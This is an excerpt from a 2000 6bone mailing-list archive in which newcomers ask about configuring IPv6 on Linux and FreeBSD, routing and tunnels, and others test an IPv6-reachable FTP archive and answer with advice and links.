> ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
> ;; QUERY SECTION:
> ;;      bear.dgim.crc.ca, type = AAAA, class = IN
> 
> ;; AUTHORITY SECTION:
> dgim.crc.ca.            2h59m25s IN SOA  ns1.crc.ca. dns.crc.ca. (
>                                         2000051002      ; serial
>                                         1H              ; refresh
>                                         15M             ; retry
>                                         1W              ; expiry
>                                         8H )            ; minimum
> 
> 
> ;; Total query time: 12 msec
> ;; FROM: babar to SERVER: default -- 130.59.1.30
> ;; WHEN: Thu May 11 18:16:40 2000
> ;; MSG SIZE  sent: 34  rcvd: 89
> 
> > Greetings,
> 
> > 	Could folks kindly try aiming their IPv6-enabled clients at
> > bear.dgim.crc.ca, which is a Solaris 8 box housing ftp.crc.ca's FTP
> > archive, and let me know if any of you can successfully download stuff?
> > This is another case where I know if *I* use it, it always works. :-)
> > But I'm paranoid, so I'm asking.  Also, if folks like to mirror any part
> > of the archive _via IPv6_ it would be most appreciated (and of course,
> > you're welcome to do so), as I'd like to get some numbers out of the
> > router and box.
> 
> > Thanks in advance and enjoy!
> 
> > wfms
> 



wfms


From 6bone-owner  Thu May 11 14:37:26 2000
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Date: Fri, 12 May 2000 00:37:24 +0300 (EEST)
From: Radu Malica <thejoker@infostream.ro>
To: 6bone@ISI.EDU
Subject: hi, i have some problems
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Hello
i'am a newbine with IPv6. I managed to get my eth0 interface with an IPv6
addres from Freenet6 but i also applied to 6bone, i registered my PERSON
object and ipv6-site object now i'm wainting for the MNTner object. I also
talked wit UUnet UK to setup a tunneling.. I want to applyt for a class of
addreses (IPv6 ones) but this new standard confuses me....I also have some
problesm with the routes .. i have 2 same rotues on different devices,,
one with eth0 that only "sees" the local LAN, and one with sit1 which is
the tunneling to freenet6...any help for setting up a functional IPv6 site
in Romania would be GREATLY appreciated

Thanks

Radu Malica
InfoStream Ltd
Techical Manager



From 6bone-owner  Thu May 11 20:20:34 2000
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Date: Fri, 12 May 2000 11:24:49 +0800
From: zhang zhishou <zszhang@krdl.org.sg>
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Subject: IPv6 configuration on Linux box
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Hi,

I am a IPv6 newbie. I have managed to add the ipv6-in-ipv4 interface
(sit0) in my linux box.
When I try to ping local machine using "ping -a inet6 ::1", or "ping -a
inet6 ::127.0.0.1", or "ping -a inet6 ::192.168.133.24"
(::192.168.133.24 is the ipv4-compatible ipv6 address of my linux box),
the following is what I get :

ping: icmp6:    unkown protocol
ping: ::1:    No IP version 4 or IP version 6 addresses available.

Anybody could tell me how to solve the problem?
Thanks!!!


From 6bone-owner  Fri May 12 00:05:53 2000
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To: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
cc: 6bone@ISI.EDU
Subject: Re: Announcing biggish FTP archive reachable via IPv6
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On Thu, 11 May 2000, William F. Maton wrote:

> Greetings,
> 
> 	Could folks kindly try aiming their IPv6-enabled clients at
> bear.dgim.crc.ca, which is a Solaris 8 box housing ftp.crc.ca's FTP

Yes, I can download to Cambridge, tunnel to JANET and beyond.

Is there a reverse-DNS for bear.dgim.crc.ca ?

Pete.


From 6bone-owner  Fri May 12 00:06:30 2000
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From: Raja Azlina Raja Mahmood <ina@mimos.my>
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To: zhang zhishou <zszhang@krdl.org.sg>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 configuration on Linux box
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I had the same problem before.  Do check the /etc/protocols file
and see if you have "icmp6" defined there.  Hope it would help!

regards,
-azlina-

On Fri, 12 May 2000, zhang zhishou wrote:

> Hi,
> 
> I am a IPv6 newbie. I have managed to add the ipv6-in-ipv4 interface
> (sit0) in my linux box.
> When I try to ping local machine using "ping -a inet6 ::1", or "ping -a
> inet6 ::127.0.0.1", or "ping -a inet6 ::192.168.133.24"
> (::192.168.133.24 is the ipv4-compatible ipv6 address of my linux box),
> the following is what I get :
> 
> ping: icmp6:    unkown protocol
> ping: ::1:    No IP version 4 or IP version 6 addresses available.
> 
> Anybody could tell me how to solve the problem?
> Thanks!!!
> 
> 


From 6bone-owner  Fri May 12 02:06:20 2000
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From: Silvia Baumann <thor@zwerg.at>
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To: zhang zhishou <zszhang@krdl.org.sg>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 configuration on Linux box
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> When I try to ping local machine using "ping -a inet6 ::1", or "ping -a
> inet6 ::127.0.0.1", or "ping -a inet6 ::192.168.133.24"
> (::192.168.133.24 is the ipv4-compatible ipv6 address of my linux box),
> the following is what I get :
> 
> ping: icmp6:    unkown protocol
> ping: ::1:    No IP version 4 or IP version 6 addresses available.

Have a look at /etc/protocols, copy the line with icmpv6 and replace
icmpv6 with icmp6 in the copied line. It should work then (at least it did
at my linux box :))

Best regards,

Silvia Baumann
              .     .
              |\-=-/|
           /| |O _ O| |\
         /' \ \_^-^_/ / `\
       /'    \-/ ~ \-/    `\
       |      /\\ //\      |
+-------\|\|\/-""-""-\/|/|/-----------------------------------------------+
|  thor@atpforest.tuwien.ac.at               Silvia Baumann               |
|  silvia.baumann@fh-sbg.ac.at               Prueckelmayrgasse 4/11/15    |
|                                            A-1230 Wien                  |
|  http://atpforest.tuwien.ac.at/~thor/      Tel.-Nr.: +43 1 8872053      |
+-------------------------------------------------------------------------+


From 6bone-owner  Fri May 12 04:07:51 2000
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From: =?EUC-KR?B?wMy8usH4KFN1bmctSmluLkxlZSk=?= <bluezy@dreamwiz.com>
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Subject: Hi, i got a question about v6 Routing system
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--0-268579752-958129603=:58888
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Hi all.

i'm planning to connect to 6bone 
So, need to setup Routing system supporting IPv6.
I've searched how to set it up on PC environment so far.
Then I founded the FreeBSD is the only one way to Support
IPv6 Routing on PC as far i know.

am i rignt ? 
or are there any other way ?


best regards.

Eddie Lee

 



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<BODY>

<BR>
<BR>Hi all.
<BR>
<BR>i'm planning to connect to 6bone 
<BR>So, need to setup Routing system supporting IPv6.
<BR>I've searched how to set it up on PC environment so far.
<BR>Then I founded the FreeBSD is the only one way to Support
<BR>IPv6 Routing on PC as far i know.
<BR>
<BR>am i rignt ? 
<BR>or are there any other way ?
<BR>
<BR>
<BR>best regards.
<BR>
<BR>Eddie Lee
<BR>
<BR>&nbsp;
<BR>
<BR></BODY>
</HTML>

<BR>

<BR>
<BR>

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From 6bone-owner  Fri May 12 05:56:06 2000
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Date: Fri, 12 May 2000 08:55:14 -0400 (EDT)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: Peter Bunclark <psb@ast.cam.ac.uk>
cc: 6bone@ISI.EDU
Subject: Re: Announcing biggish FTP archive reachable via IPv6
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On Fri, 12 May 2000, Peter Bunclark wrote:

> On Thu, 11 May 2000, William F. Maton wrote:
> 
> > 	Could folks kindly try aiming their IPv6-enabled clients at
> > bear.dgim.crc.ca, which is a Solaris 8 box housing ftp.crc.ca's FTP
> 
> Yes, I can download to Cambridge, tunnel to JANET and beyond.
> 
> Is there a reverse-DNS for bear.dgim.crc.ca ?

Not as yet, no.  However, there are forward and reverse mappings for
"bear.ipv6.crc.ca" which is the same box as bear.dgim.crc.ca.

> Pete.

wfms


From 6bone-owner  Fri May 12 08:41:42 2000
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Subject: Re: Hi, i got a question about v6 Routing system
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À̼ºÁø(Sung-Jin.Lee) wrote:
> 
> Hi all.
> 
> i'm planning to connect to 6bone
> So, need to setup Routing system supporting IPv6.
> I've searched how to set it up on PC environment so far.
> Then I founded the FreeBSD is the only one way to Support
> IPv6 Routing on PC as far i know.
> 
> am i rignt ?
> or are there any other way ?
> 
FreeBSD 4.0 or 5.0, OpenBSD and probably Linux

Jim
-- 
"...there's no idea that's so good you can't 
    ruin it with a few well-placed idiots." 
    -- Charles Spickman

From 6bone-owner  Fri May 12 08:50:12 2000
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From: "James Saker Jr." <jsaker@pensat.com>
To: "'bluezy@dreamwiz.com'" <bluezy@dreamwiz.com>
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: Hi, i got a question about v6 Routing system
Date: Fri, 12 May 2000 10:50:30 -0500
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Try http://freenet6.net <http://freenet6.net> 
 
JRS
 
James R. Saker Jr. 
Vice President, Internet Services 
Pensat Communications, Inc. 
jsaker@pensat.com <mailto:jsaker@pensat.com>  

 
 
 
 

-----Original Message-----
From: bluezy@dreamwiz.com [mailto:bluezy@dreamwiz.com]
Sent: Friday, May 12, 2000 6:07 AM
To: 6bone@ISI.EDU
Subject: Hi, i got a question about v6 Routing system




Hi all. 

i'm planning to connect to 6bone 
So, need to setup Routing system supporting IPv6. 
I've searched how to set it up on PC environment so far. 
Then I founded the FreeBSD is the only one way to Support 
IPv6 Routing on PC as far i know. 

am i rignt ? 
or are there any other way ? 


best regards. 

Eddie Lee 

  





 <http://www.dreamwiz.com/>  Your life on the net
-------------------------------------------------
DreamWiz Free Mail @ http://www.dreamwiz.com/ <http://www.dreamwiz.com/> 



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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DKS_C_5601-1987">


<META content=3D"MSHTML 5.00.3013.2600" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D114574915-12052000>Try <A=20
href=3D"http://freenet6.net">http://freenet6.net</A></SPAN></FONT></DIV>=

<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D114574915-12052000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D114574915-12052000>JRS</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D114574915-12052000></SPAN></FONT>&nbsp;</DIV><FONT =
color=3D#0000ff=20
face=3DArial size=3D2><SPAN class=3D114574915-12052000>
<P><FONT face=3DArial size=3D2>James R. Saker Jr.</FONT> <BR><FONT =
face=3DArial=20
size=3D2>Vice President, Internet Services</FONT> <BR><FONT =
face=3DArial=20
size=3D2>Pensat Communications, Inc.</FONT> <BR><FONT face=3DArial =
size=3D2><A=20
href=3D"mailto:jsaker@pensat.com">jsaker@pensat.com</A></FONT> </P>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV></SPAN></FONT>&nbsp;</DIV>
<BLOCKQUOTE>
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> =
bluezy@dreamwiz.com=20
  [mailto:bluezy@dreamwiz.com]<BR><B>Sent:</B> Friday, May 12, 2000 =
6:07=20
  AM<BR><B>To:</B> 6bone@ISI.EDU<BR><B>Subject:</B> Hi, i got a =
question about=20
  v6 Routing system<BR><BR></DIV></FONT><BR><BR>Hi all. <BR><BR>i'm =
planning to=20
  connect to 6bone <BR>So, need to setup Routing system supporting =
IPv6.=20
  <BR>I've searched how to set it up on PC environment so far. <BR>Then =
I=20
  founded the FreeBSD is the only one way to Support <BR>IPv6 Routing =
on PC as=20
  far i know. <BR><BR>am i rignt ? <BR>or are there any other way ?=20
  <BR><BR><BR>best regards. <BR><BR>Eddie Lee <BR><BR>&nbsp;=20
  <BR><BR><BR><BR><BR><BR><A href=3D"http://www.dreamwiz.com/" =
target=3D_blank><IMG=20
  border=3D0=20
  =
src=3D"http://mail.dreamwiz.com/bluezy/cgi-bin/receive_check.cgi?mailbox=
=3DSent&amp;uid=3D00000000000000000031&amp;key=3Dc8a244c516bef04d1d6088d=
89f627f7a"=20
  NOSEND=3D"1"></A> <FONT size=3D2><B>Your life on the=20
  =
net</FONT></B><BR>-------------------------------------------------<BR>D=
reamWiz=20
  Free Mail @ <A href=3D"http://www.dreamwiz.com/"=20
  =
target=3D_blank>http://www.dreamwiz.com/</A><BR></BLOCKQUOTE></BODY></HT=
ML>

------_=_NextPart_001_01BFBC29.CD0A6ADA--

From 6bone-owner  Fri May 12 09:02:52 2000
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To: =?EUC-KR?B?wMy8usH4KFN1bmctSmluLkxlZSk=?= <bluezy@dreamwiz.com>
cc: 6bone@ISI.EDU
Subject: Re: Hi, i got a question about v6 Routing system
In-Reply-To: <200005121106.e4CB6hK58891@mail2.dreamwiz.com>
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On Fri, 12 May 2000, [EUC-KR] À̼ºÁø(Sung-Jin.Lee) wrote:

> i'm planning to connect to 6bone 
> So, need to setup Routing system supporting IPv6.
> I've searched how to set it up on PC environment so far.
> Then I founded the FreeBSD is the only one way to Support
> IPv6 Routing on PC as far i know.
> 
> am i rignt ? 
> or are there any other way ?

Also, the current (development) version of NetBSD:
   <http://www.netbsd.org/Documentation/network/ipv6/index.html>.



From 6bone-owner  Fri May 12 09:40:17 2000
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From: "Carlos Leon (BCT)" <Carlos.Leon@edt.ericsson.se>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Hi All
Date: Fri, 12 May 2000 18:33:16 +0200
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Hi all,

Im a newbeginner att IPv6, I know IPv4 well, because its my work. I just wonder if someone can help me start learning IPv6, for example how do I set up two PC:s to cooperate over IPv6, or just some very easy understanding textintroduction that you know is good.

Med vänlig hälsning/Kind regards

Carlos Leon 
Data Communication Architect
Microsoft Certified Professional

Tel: +46 8 58530266
Ericsson IT- Services
TO/BCT/I/ONF - Netgroup
E-Mail: carlos.leon@edt.ericsson.se



From 6bone-owner  Fri May 12 09:47:39 2000
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To: =?EUC-KR?B?wMy8usH4KFN1bmctSmluLkxlZSk=?= <bluezy@dreamwiz.com>
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Subject: Re: Hi, i got a question about v6 Routing system
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On Fri, 12 May 2000, [EUC-KR] À̼ºÁø(Sung-Jin.Lee) wrote:

> 
> Hi all.
> 
> i'm planning to connect to 6bone 
> So, need to setup Routing system supporting IPv6.
> I've searched how to set it up on PC environment so far.
> Then I founded the FreeBSD is the only one way to Support
> IPv6 Routing on PC as far i know.
> 
> am i rignt ? 
> or are there any other way ?

Linux 2.2.x+ too.


From 6bone-owner  Fri May 12 10:22:36 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: bluezy@dreamwiz.com
cc: 6bone@ISI.EDU
Subject: Re: Hi, i got a question about v6 Routing system 
In-reply-to: Your message of Fri, 12 May 2000 20:06:42 +0900.
             <200005121106.e4CB6hK58891@mail2.dreamwiz.com> 
Date: Fri, 12 May 2000 19:23:39 +0200
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 In your previous mail you wrote:

   Then I founded the FreeBSD is the only one way to Support
   IPv6 Routing on PC as far i know.
   
   am i rignt ? 
   or are there any other way ?
   
=> there are other (NetBSD, Linux, Solaris 8, ...) but FreeBSD is
the best one!

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Fri May 12 12:14:43 2000
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Date: Fri, 12 May 2000 21:13:50 +0200
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Take a look at:
http://www.6bone.net/6bone_hookup.html

Stefan Gasteiger
--
SG5599-RIPE
I+K Betrieb (zertifiziert nach DIN EN ISO 9001)
InfraServ Gendorf		
Tel.: +49 8679 7 5599	
Fax: +49 8679 7 39 5599
Mobiltel.: +49 172 8649205
E-Mail: Stefan.Gasteiger@gendorf.de


> -----Original Message-----
> From: pilot0920 [mailto:pilot0920@sina.com]
> Sent: Tuesday, May 09, 2000 10:58 PM
> To: 6bone@ISI.EDU
> Subject: 
> 
> 
> I have joined the 6bone mail list, and I want to join the 6bone.
> So what should I do the next step?
> How and where can I find a point on the 6bone to attach to?
> 
> ______________________________________
> 
> 
> ===================================================================
> ÐÂÀËÃâ·Ñµç×ÓÓÊÏä http://mail.sina.com.cn 
> 

From 6bone-owner  Fri May 12 12:16:27 2000
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To: bluezy@dreamwiz.com, 6bone@ISI.EDU
Subject: RE: Hi, i got a question about v6 Routing system
Date: Fri, 12 May 2000 21:15:31 +0200
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Take a look at:
 
http://playground.sun.com/pub/ipng/html/ipng-implementations.html
<http://playground.sun.com/pub/ipng/html/ipng-implementations.html> 

Stefan Gasteiger 
SG5599-RIPE 
I+K Betrieb (zertifiziert nach DIN EN ISO 9001) 
InfraServ Gendorf         
Tel.: +49 8679 7 5599   
Fax: +49 8679 7 39 5599 
Mobiltel.: +49 172 8649205 
E-Mail: Stefan.Gasteiger@gendorf.de 

 

-----Original Message-----
From: bluezy@dreamwiz.com [mailto:bluezy@dreamwiz.com]
Sent: Friday, May 12, 2000 1:07 PM
To: 6bone@ISI.EDU
Subject: Hi, i got a question about v6 Routing system




Hi all. 

i'm planning to connect to 6bone 
So, need to setup Routing system supporting IPv6. 
I've searched how to set it up on PC environment so far. 
Then I founded the FreeBSD is the only one way to Support 
IPv6 Routing on PC as far i know. 

am i rignt ? 
or are there any other way ? 


best regards. 

Eddie Lee 

  





 <http://www.dreamwiz.com/>  Your life on the net
-------------------------------------------------
DreamWiz Free Mail @ http://www.dreamwiz.com/ <http://www.dreamwiz.com/> 



From 6bone-owner  Fri May 12 12:20:21 2000
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To: Carlos.Leon@edt.ericsson.se, 6bone@ISI.EDU
Subject: RE: Hi All
Date: Fri, 12 May 2000 21:19:27 +0200
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You may have a look at:

http://playground.sun.com/pub/ipng/html/INET-IPng-Paper.html

which is a fine introduction to v6.

Stefan Gasteiger
SG5599-RIPE
I+K Betrieb (zertifiziert nach DIN EN ISO 9001)
InfraServ Gendorf		
Tel.: +49 8679 7 5599	
Fax: +49 8679 7 39 5599
Mobiltel.: +49 172 8649205
E-Mail: Stefan.Gasteiger@gendorf.de


> -----Original Message-----
> From: Carlos Leon (BCT) [mailto:Carlos.Leon@edt.ericsson.se]
> Sent: Friday, May 12, 2000 6:33 PM
> To: '6bone@isi.edu'
> Subject: Hi All
> 
> 
> Hi all,
> 
> Im a newbeginner att IPv6, I know IPv4 well, because its my 
> work. I just wonder if someone can help me start learning 
> IPv6, for example how do I set up two PC:s to cooperate over 
> IPv6, or just some very easy understanding textintroduction 
> that you know is good.
> 
> Med vänlig hälsning/Kind regards
> 
> Carlos Leon 
> Data Communication Architect
> Microsoft Certified Professional
> 
> Tel: +46 8 58530266
> Ericsson IT- Services
> TO/BCT/I/ONF - Netgroup
> E-Mail: carlos.leon@edt.ericsson.se
> 
> 

From 6bone-owner  Fri May 12 14:01:42 2000
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Date: Fri, 12 May 2000 14:01:51 -0700 (PDT)
From: Joe Gilbert <joe@chimera.zyan.com>
To: Greg Maxwell <gmaxwell@Martin.FL.US>
cc: =?EUC-KR?B?wMy8usH4KFN1bmctSmluLkxlZSk=?= <bluezy@dreamwiz.com>,
        6bone@ISI.EDU
Subject: Re: Hi, i got a question about v6 Routing system
In-Reply-To: <Pine.GSO.3.96.1000512124528.24322A-100000@da1server>
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You should check the link below:

http://playground.sun.com/pub/ipng/html/ipng-implementations.html

It contains information on all of the platforms that support v6.  Not only
are there implementations for various UNIX flavors but there is
information on implementations for Win 95/98/NT.


Joe Gilbert
Grepmaster

----------------------------
There is no place like ~.
----------------------------

On Fri, 12 May 2000, Greg Maxwell wrote:

> On Fri, 12 May 2000, [EUC-KR] À̼ºÁø(Sung-Jin.Lee) wrote:
> 
> > 
> > Hi all.
> > 
> > i'm planning to connect to 6bone 
> > So, need to setup Routing system supporting IPv6.
> > I've searched how to set it up on PC environment so far.
> > Then I founded the FreeBSD is the only one way to Support
> > IPv6 Routing on PC as far i know.
> > 
> > am i rignt ? 
> > or are there any other way ?
> 
> Linux 2.2.x+ too.
> 


From 6bone-owner  Fri May 12 18:19:13 2000
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From: =?EUC-KR?B?wMy8usH4KFN1bmctSmluLkxlZSk=?= <bluezy@dreamwiz.com>
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thanx for warm answers.
i've already checked the sites u recommended 
before i wrote the previous mail.

but i'm still not clear.....
i thought Linux only can be used as a IPv6 host till now.
i need a Router. so i considered FreeBSD.

does Linux can be used as a IPv6 Router ? 




regards 


-------------------------------------------------
DreamWiz Free Mail @ http://www.dreamwiz.com/


--0-121262272-958180692=:68704
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<HTML>
<BODY>

<BR>
<BR>thanx for warm answers.
<BR>i've already checked the sites u recommended 
<BR>before i wrote the previous mail.
<BR>
<BR>but i'm still not clear.....
<BR>i thought Linux only can be used as a IPv6 host till now.
<BR>i need a Router. so i considered FreeBSD.
<BR>
<BR>does Linux can be used as a IPv6 Router ? 
<BR>
<BR>
<BR>
<BR>
<BR>regards 
<BR></BODY>
</HTML>

<BR>

<BR>
<BR>

<BR>
<a HREF="http://www.dreamwiz.com/" TARGET=_blank><img SRC="http://mail.dreamwiz.com/bluezy/cgi-bin/receive_check.cgi?mailbox=Sent&uid=00000000000000000032&key=fcb15fc281dd95668711764bff627f7a" BORDER="0"></a> <FONT SIZE=2><B>Your life on the net</FONT></B><br>
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--0-121262272-958180692=:68704--

From 6bone-owner  Fri May 12 23:41:36 2000
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To: bluezy@dreamwiz.com, 6bone@ISI.EDU
Subject: RE: Linux can be used as a Router ??
Date: Sat, 13 May 2000 08:40:42 +0200
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Short answer: Yes.
 
The GNU Zebra routing software supports v6: http://www.zebra.org
<http://www.zebra.org> 

Stefan Gasteiger 
SG5599-RIPE 
I+K Betrieb (zertifiziert nach DIN EN ISO 9001) 
InfraServ Gendorf         
Tel.: +49 8679 7 5599   
Fax: +49 8679 7 39 5599 
Mobiltel.: +49 172 8649205 
E-Mail: Stefan.Gasteiger@gendorf.de 

 

-----Original Message-----
From: bluezy@dreamwiz.com [mailto:bluezy@dreamwiz.com]
Sent: Saturday, May 13, 2000 3:18 AM
To: 6bone@ISI.EDU
Subject: Linux can be used as a Router ??




thanx for warm answers. 
i've already checked the sites u recommended 
before i wrote the previous mail. 

but i'm still not clear..... 
i thought Linux only can be used as a IPv6 host till now. 
i need a Router. so i considered FreeBSD. 

does Linux can be used as a IPv6 Router ? 




regards 




 <http://www.dreamwiz.com/>  Your life on the net
-------------------------------------------------
DreamWiz Free Mail @ http://www.dreamwiz.com/ <http://www.dreamwiz.com/> 



From 6bone-owner  Sat May 13 18:55:12 2000
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Date: Sat, 13 May 2000 21:55:23 -0400
From: James Housley <jim@thehousleys.net>
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I have FreeBSD 4-STABLE rounning to my "gateway" machine and a couple of
FreeBSD 4-STABLE machine on the internal network.  I would like to be
able to run IPv6 on the internal network, I got that figured out.  Just
add dns address and name and I was all set.  But I would also like to be
able route or gateway them out to the real world.  That is were I am
getting confused.

I have been reading the docs I can find, many apply to NetBSD or OpenBSD
and are close.  But most are out dated, since this is changing so fast.  

Is it true that the gateway can't also be a host?  

I do have an IPv6 address, from www.freenet6.net.  Will this let me do
what I want?

Direct answers and URLs welcomed.

Thanks,
Jim
-- 
Unix is very user-friendly.  It's just picky who its friends are.

From 6bone-owner  Sun May 14 02:16:40 2000
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On Sat, 13 May 2000, James Housley wrote:

> I have been reading the docs I can find, many apply to NetBSD or OpenBSD
> and are close.  But most are out dated, since this is changing so fast.  

if you have got static ip address you can connect to 6bone in normal way
-> not freenet6...
In Linux you should only enable IPv6 forwarding.

> Is it true that the gateway can't also be a host?  

no.
Gateway can be your workstation :)
(it shouldn't be but it's possible)

> I do have an IPv6 address, from www.freenet6.net.  Will this let me do
> what I want?

yes.

> Direct answers and URLs welcomed.

www.6bone.net

-- 
Wojciech Bojdo/l
Linux & Unix Magazine
www.magazyn.tao.com.pl


From 6bone-owner  Sun May 14 15:00:11 2000
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Subject: Re: Linux can be used as a Router ??
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À̼ºÁø(Sung-Jin.Lee) wrote:

>
>
> thanx for warm answers.
> i've already checked the sites u recommended
> before i wrote the previous mail.
>
> but i'm still not clear.....
> i thought Linux only can be used as a IPv6 host till now.
> i need a Router. so i considered FreeBSD.
>
> does Linux can be used as a IPv6 Router ?
>
>

Yes. Linux does not support the default route when forwarding ipv6
packets, however (only when originating them), but apart from that, it's
fully functional as an ipv6 router, AFAIK. I use it for that on several
machines.

D




From 6bone-owner  Sun May 14 19:05:39 2000
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Reply-To: "Marcelo Franca Alves \(MFA\)" <mfa@mfa.eti.br>
From: "Marcelo Franca Alves \(MFA\)" <mfa@mfa.eti.br>
To: "Dancer Vesperman" <dancer@zeor.simegen.com>, <bluezy@dreamwiz.com>
Cc: <6bone@ISI.EDU>
References: <200005130118.e4D1ICK68707@mail2.dreamwiz.com> <391F21E3.C524C72C@zeor.simegen.com>
Subject: Re: Linux can be used as a Router ??
Date: Sun, 14 May 2000 23:00:41 -0300
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I have 2 linux box (RedHat 6.1 and RedHat 6.2) with
IPv6 default route.

It's ok for me!!
-----
Marcelo Franca Alves (MFA) http://www.mfa.eti.br
Sao Paulo - SP - Brasil
----- Original Message -----
From: "Dancer Vesperman" <dancer@zeor.simegen.com>
To: <bluezy@dreamwiz.com>
Cc: <6bone@ISI.EDU>
Sent: Sunday, May 14, 2000 7:00 PM
Subject: Re: Linux can be used as a Router ??


> À̼ºÁø(Sung-Jin.Lee) wrote:
>
> >
> >
> > thanx for warm answers.
> > i've already checked the sites u recommended
> > before i wrote the previous mail.
> >
> > but i'm still not clear.....
> > i thought Linux only can be used as a IPv6 host till now.
> > i need a Router. so i considered FreeBSD.
> >
> > does Linux can be used as a IPv6 Router ?
> >
> >
>
> Yes. Linux does not support the default route when forwarding ipv6
> packets, however (only when originating them), but apart from that, it's
> fully functional as an ipv6 router, AFAIK. I use it for that on several
> machines.
>
> D
>
>
>
>


From 6bone-owner  Mon May 15 00:46:18 2000
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From: "James Saker Jr." <jsaker@pensat.com>
To: <bluezy@dreamwiz.com>
Cc: <6bone@ISI.EDU>
Subject: RE: Hi, i got a question about v6 Routing system
Date: Mon, 15 May 2000 09:46:59 +0200
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Try http://freenet6.net
 
JRS
 
James R. Saker Jr.
Vice President, Internet Services
Pensat Communications, Inc.
jsaker@pensat.com

 
 
 
 

-----Original Message-----
From: bluezy@dreamwiz.com [mailto:bluezy@dreamwiz.com]
Sent: Friday, May 12, 2000 6:07 AM
To: 6bone@ISI.EDU
Subject: Hi, i got a question about v6 Routing system




Hi all.

i'm planning to connect to 6bone
So, need to setup Routing system supporting IPv6.
I've searched how to set it up on PC environment so far.
Then I founded the FreeBSD is the only one way to Support
IPv6 Routing on PC as far i know.

am i rignt ?
or are there any other way ?


best regards.

Eddie Lee

  





 Your life on the net
-------------------------------------------------
DreamWiz Free Mail @ http://www.dreamwiz.com/



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<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
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href=3D"http://freenet6.net">http://freenet6.net</A></SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D114574915-12052000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D114574915-12052000>JRS</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D114574915-12052000></SPAN></FONT>&nbsp;</DIV><FONT =
color=3D#0000ff=20
face=3DArial size=3D2><SPAN class=3D114574915-12052000>
<P><FONT face=3DArial size=3D2>James R. Saker Jr.</FONT> <BR><FONT =
face=3DArial=20
size=3D2>Vice President, Internet Services</FONT> <BR><FONT face=3DArial =

size=3D2>Pensat Communications, Inc.</FONT> <BR><FONT face=3DArial =
size=3D2><A=20
href=3D"mailto:jsaker@pensat.com">jsaker@pensat.com</A></FONT> </P>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV></SPAN></FONT>&nbsp;</DIV>
<BLOCKQUOTE>
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> =
bluezy@dreamwiz.com=20
  [mailto:bluezy@dreamwiz.com]<BR><B>Sent:</B> Friday, May 12, 2000 6:07 =

  AM<BR><B>To:</B> 6bone@ISI.EDU<BR><B>Subject:</B> Hi, i got a question =
about=20
  v6 Routing system<BR><BR></DIV></FONT><BR><BR>Hi all. <BR><BR>i'm =
planning to=20
  connect to 6bone <BR>So, need to setup Routing system supporting IPv6. =

  <BR>I've searched how to set it up on PC environment so far. <BR>Then =
I=20
  founded the FreeBSD is the only one way to Support <BR>IPv6 Routing on =
PC as=20
  far i know. <BR><BR>am i rignt ? <BR>or are there any other way ?=20
  <BR><BR><BR>best regards. <BR><BR>Eddie Lee <BR><BR>&nbsp;=20
  <BR><BR><BR><BR><BR><BR><A href=3D"http://www.dreamwiz.com/" =
target=3D_blank><IMG=20
  border=3D0=20
  =
src=3D"http://mail.dreamwiz.com/bluezy/cgi-bin/receive_check.cgi?mailbox=3D=
Sent&amp;uid=3D00000000000000000031&amp;key=3Dc8a244c516bef04d1d6088d89f6=
27f7a"=20
  NOSEND=3D"1"></A> <FONT size=3D2><B>Your life on the=20
  =
net</FONT></B><BR>-------------------------------------------------<BR>Dr=
eamWiz=20
  Free Mail @ <A href=3D"http://www.dreamwiz.com/"=20
  =
target=3D_blank>http://www.dreamwiz.com/</A><BR></BLOCKQUOTE></BODY></HTM=
L>

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From 6bone-owner  Mon May 15 02:27:48 2000
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From: "buck dvash" <buck@priest.com>
To: <6bone@ISI.EDU>
Subject: I need some explanations.
Date: Mon, 15 May 2000 12:29:04 +0200
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I have FreeBSD 4.0 STABLE running as a router to other clients.
The thing I want to know, I read in your site I need to find a "potential
6bone pTLA/pNLA transits"
Like I think it`s finding someone to fund my 24/7 + IPv6 address...

Anyways if someone can really tell me what my job is, I`ll be glad to do it
[=



		buck


From 6bone-owner  Mon May 15 05:09:17 2000
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Subject: Re: Linux can be used as a Router ??
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On Sat, 13 May 2000, [EUC-KR] À̼ºÁø(Sung-Jin.Lee) wrote:

> does Linux can be used as a IPv6 Router ? 

I have two Linux systems in use a IPv6 Routers.

Zebra impliments BGP4+ for Linux.


From 6bone-owner  Mon May 15 05:36:53 2000
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From: Radu Malica <thejoker@infostream.ro>
To: 6bone@ISI.EDU
Subject: ipv6 tunnel
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Hello

I got my IPv6 address and class from UUNet and they are ready to setup a
tunnel. I use a Linux Box (redhat 6.1) and i'm a bit confused about
